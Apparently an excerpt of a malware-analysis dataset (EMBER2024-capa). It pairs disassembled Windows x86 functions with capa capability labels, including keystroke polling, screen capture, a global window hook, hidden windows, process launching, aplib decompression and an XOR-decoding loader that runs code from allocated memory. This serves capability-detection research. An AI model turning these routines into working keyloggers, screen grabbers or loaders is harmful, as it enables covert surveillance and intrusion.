joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43527c
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x435298
cmp dword [esi + 4], 0
je 0x4352c5
test byte [ebx + 0x55], 1
jne 0x4352b7
mov eax, ebx
call fcn.00433e1c
test eax, eax
jne 0x4352b7
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4353d5
mov edx, esi
mov eax, ebx
call fcn.00434da0
jmp 0x4353d5
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4353ce
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004370ec
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00431ab8
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043527c
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004370ec
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4353d5
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43ba64
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4531e8]
cmp byte [eax + 0xc], 0
je 0x43bbd1
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43bbca
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x454b60], 0
jne 0x43bab8
push 0x43bbd8
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x43bbe0
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b60], eax
cmp dword [0x452bc8], 0
jne 0x43bbb3
push 0x43bbf0
call sub.kernel32.dll_LoadLibraryA
mov dword [0x452bc8], eax
cmp dword [0x452bc8], 0
je 0x43bbb3
push 0x43bbfc
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b64], eax
push 0x43bc0c
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b68], eax
push 0x43bc20
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b6c], eax
push 0x43bc38
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b70], eax
push 0x43bc50
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b74], eax
push 0x43bc64
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b78], eax
push 0x43bc7c
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b7c], eax
push 0x43bc94
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b80], eax
push 0x43bcb0
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b84], eax
push 0x43bcbc
mov eax, dword [0x452bc8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b88], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43bbd1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x43fa5c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403f80
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43faab
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004041f0
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4471e8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x447238]
test si, 4
je 0x4471fc
or bl, 1
test si, 8
je 0x447206
or bl, 4
test si, 1
je 0x447210
or bl, 8
test si, 2
je 0x44721a
or bl, 0x10
test si, 0x10
je 0x447224
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x447233
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44723c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x447274]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x447255
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x447264
or bl, 4
test esi, 0x20000000
je 0x44726f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44d91c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44d92e
add esp, 0xfffffff0
call fcn.00403554
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419458
mov eax, dword [0x452ec4]
mov dword [eax + 4], ebx
mov dword [eax], 0x44dcc0
mov eax, dword [0x452ed0]
mov dword [eax + 4], ebx
mov dword [eax], 0x44dccc
mov eax, ebx
call fcn.0044dcd8
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4116bc]
call fcn.00403218
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4116bc]
call fcn.00403218
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4116bc]
call fcn.00403218
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4116bc]
call fcn.00403218
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4116bc]
call fcn.00403218
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44a0f4
push eax
push 0
push 0
mov eax, dword [0x453014]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41ae7c]
call fcn.0041c2c0
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41ae7c]
call fcn.0041c2c0
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41ae7c]
call fcn.0041c2c0
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044e0f8
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44dfd4
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44dfd4
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44dfd4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44da6b
call fcn.004035ac
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44ddb8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44df63
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44df44
mov dl, 1
mov eax, dword [0x411ad8]
call fcn.00403218
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f80
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44df33
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043bdc4
test al, al
je 0x44df26
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44df74
lea eax, [ebp - 0x254]
call fcn.004089ac
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44df26
xor eax, eax
push ebp
push 0x44df1f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44dfac
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44df08
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041f0
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44df08
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44df26
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44de29
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004155b4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44df6a
lea eax, [ebp - 0x260]
call fcn.00403f80
ret

Function at 0x44e898
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x454bac]
cmp byte [eax + 0xa5], 0
jne 0x44e909
cmp dword [0x454bc4], 0
jne 0x44e8ca
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44e854
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x454bc4], eax
cmp dword [0x454bc0], 0
jne 0x44e8e5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x454bc0], eax
cmp dword [0x454bc8], 0
jne 0x44e909
push esp
push 0
push 0
push 0x44e7f8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x454bc8], eax
pop edx
ret
Function at 0x44ea00
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44ea17
add esp, 0xfffffff0
call fcn.00403554
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419458
mov eax, dword [0x453000]
cmp word [eax + 2], 0
jne 0x44ea3f
mov eax, dword [0x453000]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044ff54
mov eax, dword [0x4530a4]
cmp word [eax + 2], 0
jne 0x44ea59
mov eax, dword [0x4530a4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045014c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4116bc]
call fcn.00403218
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4116bc]
call fcn.00403218
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b62c]
call fcn.00421274
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44ebe0
mov eax, dword [0x452f28]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00421644
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4506ec
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x452f28]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c124
test eax, eax
je 0x44eb4e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004083a0
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c14c
test eax, eax
je 0x44eb62
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004041f0
mov eax, dword [0x452e24]
cmp byte [eax], 0
jne 0x44eb96
mov eax, ebx
call fcn.0044ed08
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.004508c8
mov eax, ebx
call fcn.0045128c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44ebd6
call fcn.004035ac
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44ef88
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x454bac]
cmp dword [eax + 0x30], 0
je 0x44f032
cmp dword [ebx + 0x94], 0
jne 0x44f02c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44ef18
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44f02c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44eff2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44f02c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413a24
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44f001
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44fb94
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44fbc9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404070
jmp 0x44fbd6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fd4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x450aa4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x450ae5
mov eax, esi
call fcn.004373f0
test al, al
je 0x450ae5
mov eax, dword [ebx + 0x84]
call fcn.004370ec
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x450ae5
push 0
mov eax, dword [ebx + 0x84]
call fcn.004370ec
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4519fc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x451a04
push ecx
push ebx
push esi
push edi
mov eax, 0x45181c
call fcn.00405d38
xor eax, eax
push ebp
push 0x451bf0
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004029e4
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00408248
lea eax, [ebp - 0x14]
mov edx, 0x451c08
call fcn.00404248
mov ecx, dword [ebp - 0x14]
mov dl, 1
mov eax, dword [0x4259a0]
call fcn.00425a50
mov esi, eax
mov eax, dword [esi + 4]
call fcn.00408160
inc eax
jne 0x451a7b
push 0x451c1c
mov ecx, 0x451cb4
mov edx, 0x451cc4
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 4]
push 0
lea eax, [ebp - 0x1c]
push eax
mov ecx, 0x451cb4
mov edx, 0x451cc4
mov eax, esi
mov ebx, dword [eax]
call dword [ebx]
mov edx, dword [ebp - 0x1c]
mov eax, 0x454bd8
call fcn.00403fd4
push 0
lea eax, [ebp - 0x20]
push eax
mov ecx, 0x451cd0
mov edx, 0x451cc4
mov eax, esi
mov ebx, dword [eax]
call dword [ebx]
mov edx, dword [ebp - 0x20]
mov eax, 0x454bdc
call fcn.00403fd4
push 1
mov ecx, 0x451ce0
mov edx, 0x451cc4
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
push 0
lea eax, [ebp - 0x24]
push eax
mov ecx, 0x451cf4
mov edx, 0x451cc4
mov eax, esi
mov edi, dword [eax]
call dword [edi]
mov edx, dword [ebp - 0x24]
mov eax, 0x454be0
call fcn.00403fd4
push 0x451d04
lea eax, [ebp - 0x28]
push eax
mov ecx, 0x451d10
mov edx, 0x451cc4
mov eax, esi
mov edi, dword [eax]
call dword [edi]
mov edx, dword [ebp - 0x28]
mov eax, 0x454be4
call fcn.00403fd4
push 1
mov ecx, 0x451d1c
mov edx, 0x451cc4
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x10]
mov byte [0x454bec], al
mov al, byte [0x451d24]
push eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, 0x451d30
mov edx, dword [0x454be4]
mov eax, dword [0x454be0]
call fcn.0040c764
mov edx, dword [ebp - 0x2c]
mov eax, 0x454be0
call fcn.00403fd4
mov eax, dword [0x454be0]
push eax
push 0x454be8
mov al, byte [0x454bec]
push eax
mov ecx, ebx
mov edx, dword [0x454bdc]
mov eax, dword [0x454bd8]
call fcn.0045137c
mov ebx, eax
push 0x451d3c
lea eax, [ebp - 0x30]
push eax
lea edx, [ebp - 0x34]
xor eax, eax
mov al, bl
call fcn.00407ce0
mov ecx, dword [ebp - 0x34]
mov edx, 0x451cc4
mov eax, esi
mov ebx, dword [eax]
call dword [ebx]
mov edx, dword [ebp - 0x30]
mov eax, 0x454bd8
call fcn.00403fd4
push 1
push 0
push 0
mov eax, dword [0x454bd8]
call fcn.00404440
push eax
push 0x451d40
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x451bf7
lea eax, [ebp - 0x34]
mov edx, 9
call fcn.00403fa4
ret
Function at 0x4153700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0415378f
jae 0x415370e
xor ecx, ecx
call fcn.0415378f
jae 0x415373d
xor eax, eax
call fcn.0415378f
jae 0x415374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0415378f
adc al, al
jae 0x415372f
jne 0x4153779
stosb byte es:[edi], al
jmp 0x4153711
call fcn.0415379b
sub ecx, ebx
jne 0x4153756
call fcn.04153799
jmp 0x4153775
lodsb al, byte [esi]
shr eax, 1
je 0x4153783
adc ecx, ecx
jmp 0x4153772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.04153799
cmp eax, 0x7d00
jae 0x4153772
cmp ah, 5
jae 0x4153773
cmp eax, 0x7f
ja 0x4153774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4153711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x403f59
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x403f68
pop dword [ebp - 0x18]
mov eax, 0x403f68
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xb8468697
sub dword [ebp - 0x28], 0x69f4414c
mov dword [ebp - 0x24], 0x76d6351b
add dword [ebp - 0x24], 0xbb5d172a
mov dword [ebp - 0x20], 0x7e3d5fe
sub dword [ebp - 0x20], 0xbb9791d0
mov dword [ebp - 0x1c], 0x7e12ade4
sub dword [ebp - 0x1c], 0x7e12ade4
lea eax, [ebp - 0x28]
push eax
mov eax, 0x7a844a0d
sub eax, 0x7a4379b9
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x15e1773c
sub dword [ebp - 0x28], 0xa16f0de6
mov dword [ebp - 0x24], 0x4a123d37
sub dword [ebp - 0x24], 0x8a5dbc2
mov dword [ebp - 0x20], 0x1e887abf
sub dword [ebp - 0x20], 0xbb190e53
mov dword [ebp - 0x1c], 0x8756a183
sub dword [ebp - 0x1c], 0x8756a183
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xb94f252a
sub eax, 0xb90e54de
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3b504
push 0
call eax
mov ecx, 0xf73b317
add ecx, 0xf08c9bc8
xor edx, edx
add edx, eax
mov ebx, 0x314ac8d7
add ebx, 0xcef6e729
add ebx, dword [ebp - 0x18]
mov edi, 0xf379b560
sub edi, 0xb00400b8
xor dword [ebp - 4], eax
mov esi, dword [ebx]
sub dword [ebp - 0xc], edx
xor esi, edi
sub dword [ebp - 0x10], 0xb6f57dd7
mov dword [edx], esi
xor dword [ebp - 0xc], 0x8b832a11
add edx, 0x18a084f6
sub edx, 0x18a084f2
add ebx, 0xd0f29d1e
sub ebx, 0xd0f29d1a
loop 0x404087
add eax, 0x12e4f
mov ebx, eax
add eax, 0xcfe63de1
sub eax, 0xcfe63ddc
mov ecx, 0xbc74619f
sub ecx, 0xbc34619f
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x417e94
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00417d05

Function at 0x41828e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407080
mov eax, dword [0x430040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00415fa2
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4182d0
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41842c
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00422960
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4668d0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00419288
mov ecx, dword [esi*4 + 0x4668d0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x418425
cmp eax, dword [edi + ecx + 0x24]
jne 0x418425
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x418425
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00419288
add esp, 0x14
test edx, edx
jl 0x418425
jg 0x41839b
test eax, eax
jb 0x418425
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x418425
jl 0x4183b5
cmp dword [ebp - 0x1008], eax
ja 0x418425
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4183d3
test ebx, ebx
je 0x41840c
cmp ecx, edi
jae 0x41840c
mov al, byte [ecx]
cmp al, 0xd
jne 0x4183ed
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4183f9
cmp byte [ecx + 1], 0xa
jne 0x4183f9
inc ecx
jmp 0x4183f9
movzx eax, al
movsx eax, byte [eax + 0x430310]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4183d3
cmp edx, ebx
jne 0x4183d3
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41842a
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00406520
leave
ret